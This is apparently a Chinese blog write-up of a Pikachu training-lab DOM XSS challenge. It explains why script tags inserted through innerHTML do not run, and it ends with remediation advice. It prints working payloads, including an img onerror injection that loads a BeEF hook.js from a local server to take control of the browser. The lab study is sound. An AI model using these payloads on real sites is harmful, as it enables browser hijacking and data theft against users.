Pikachu靶场通关笔记(8) — DOM型 XSS :绕过 innerHTML 限制联动 BeEF

31次阅读
没有评论

前言:
在之前的关卡中,学习了反射型和存储型 XSS。今天在做 DOM 型 XSS 时,遇到是一个非常经典的浏览器安全机制限制问题。本文将记录如何发现 DOM XSS 漏洞,分析 innerHTML 的安全特性,并构造 Payload 实现 BeEF 钩子 (Hook) 的加载。

1. 功能点探测与现象分析

进入 Pikachu 的 DOM 型 XSS 关卡。

  • 交互逻辑:页面有一个输入框和一个按钮。输入内容后点击 “click me!”,下方会出现一个 “what do you see?” 的超链接。
  • 现象观察:点击生成的链接,页面会进行跳转(或者执行 href 中的内容)。
Pikachu 靶场通关笔记(8) — DOM 型 XSS:绕过 innerHTML 限制联动 BeEF

查看前端源码,核心逻辑如下:

function domxss(){var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}

逻辑分析:JS 代码获取了输入框的值,然后通过字符串拼接的方式,拼凑成一个 <a> 标签,最后通过 innerHTML 写入到页面的 DOM 树中。

2. 渗透测试过程:从失败到成功

第一步:尝试常规 XSS Payload(失败)

根据以往经验,首先尝试闭合 <a> 标签并插入 <script> 标签:

Payload:

'><script>alert('xss')</script>

结果:页面虽然插入了标签,但并没有弹窗。

原因分析(重点)
这是由于浏览器的安全策略。在 HTML5 规范中,通过 innerHTML 插入的 <script> 标签是不会被执行的。虽然标签存在于 DOM 中,但它是“死”的。

第二步:利用事件句柄绕过(成功弹窗)

既然 <script> 标签不执行,可以利用 HTML 标签的 事件处理属性(Event Handlers),例如 onclickonerroronload 等。这些属性在 innerHTML 赋值时是会被正常解析的。

Payload:

'onclick="alert('xss')">

点击链接后,成功弹窗。但这还不够,需要更具危害性的攻击,上线 BeEF(也是 docker run 的镜像,端口为 3000,地址为 http://localhost:3000/ui/panel)。

第三步:构造 Payload 联动 BeEF

我的 BeEF 搭建在本地 Docker 中,Hook URL 为 http://localhost:3000/hook.js

由于 innerHTML 不执行 <script src="...">,需要利用事件句柄(如 onerror)来执行一段 JS,这段 JS 的作用是 动态创建 一个新的 Script 标签并插入页面。

构造逻辑

  1. 闭合前面的标签。
  2. 使用 <img> 标签,故意设置错误的 src 触发 onerror
  3. onerror 中使用 document.createElement 动态加载 hook.js。
  4. document.body.appendChild(s):将这个脚本标签插入到页面的 <body> 中,浏览器会自动加载并执行 hook.js 里的代码。

最终 Payload:

'><img src=x onerror="var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);">

效果演示
输入 Payload 并点击按钮,当浏览器渲染这个错误的图片时,立即触发 JS 代码。

Pikachu 靶场通关笔记(8) — DOM 型 XSS:绕过 innerHTML 限制联动 BeEF

此时查看 BeEF 控制台,可以看到受害主机已经成功上线

Pikachu 靶场通关笔记(8) — DOM 型 XSS:绕过 innerHTML 限制联动 BeEF
Pikachu 靶场通关笔记(8) — DOM 型 XSS:绕过 innerHTML 限制联动 BeEF

3. 源码深度解析

回顾 xss_dom.php 的漏洞成因:

// 漏洞关键点
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
  1. 信任源问题:代码直接从用户输入 (value) 获取数据,未做任何编码或过滤。
  2. 输出点问题:使用了 innerHTML 属性。与 innerText 不同,innerHTML 会将字符串解析为 HTML 标签。
  3. 利用难点与突破:虽然 innerHTML 防御了直接的 <script> 注入,但无法防御基于事件(onerror/onclick)或 <iframe> srcdoc 的 XSS 攻击。

4. 总结与防御

通过本次实验,验证了在 DOM XSS 中:

  1. innerHTML 写入的 <script> 不会执行。
  2. 可以通过 <img> 等标签的 onerror 事件绕过此限制。
  3. 利用 document.createElement 可以动态加载外部 JS 文件(如 BeEF),实现持久化控制或进一步攻击。

修复建议
在前端输出文本内容时,应尽量使用 innerTexttextContent,如果必须使用 HTML,应使用第三方库(如 DOMPurify)对不可信数据进行清洗。

正文完
 0
评论(没有评论)